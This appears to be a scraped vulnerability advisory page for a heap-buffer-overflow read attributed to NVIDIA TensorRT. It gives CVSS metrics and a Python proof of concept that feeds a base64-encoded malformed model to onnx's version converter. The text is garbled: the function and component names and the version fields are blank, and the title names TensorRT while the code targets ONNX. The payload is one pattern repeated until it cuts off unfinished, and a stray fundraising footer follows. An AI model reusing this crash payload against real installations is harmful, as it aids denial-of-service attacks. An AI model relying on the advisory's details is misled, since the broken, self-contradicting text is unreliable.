NVIDIA TensorRT CVE-2024-63832 Heap-Buffer-Overflow READ in Gemm Adapter

Vulnerability Overview Vulnerability Name: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape Vulnerability Description: In the , a heap buffer overflow read (16 bytes) occurs when processing models with input tensor dimensions fewer than 2. This specifically happens in the function, which accesses without verifying its existence when the input tensor has fewer than 2 dimensions. In release builds, this overflow is silent; however, in ASAN (AddressSanitizer) builds, the 16-byte overflow exceeding the 48-byte allocation is detected. Impact Scope Affected Versions: Fixed Version: CVSS v3 Base Metrics: - Attack Vector: Local - Attack Complexity: Low - Privileges Required: None - User Interaction: Required - Scope: Unchanged - Confidentiality: None - Integrity: None - Availability: Low CVE ID: CVE-2024-63832 Remediation Fixed Version: POC Code ```python import base64 import onnx from onnx import version_converter poc_364 = "CMRwXUQ0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0p0Q0

Goal Reached Thanks to every supporter — we hit 100%!

NVIDIA TensorRT CVE-2024-63832 Heap-Buffer-Overflow READ in Gemm Adapter

More from this source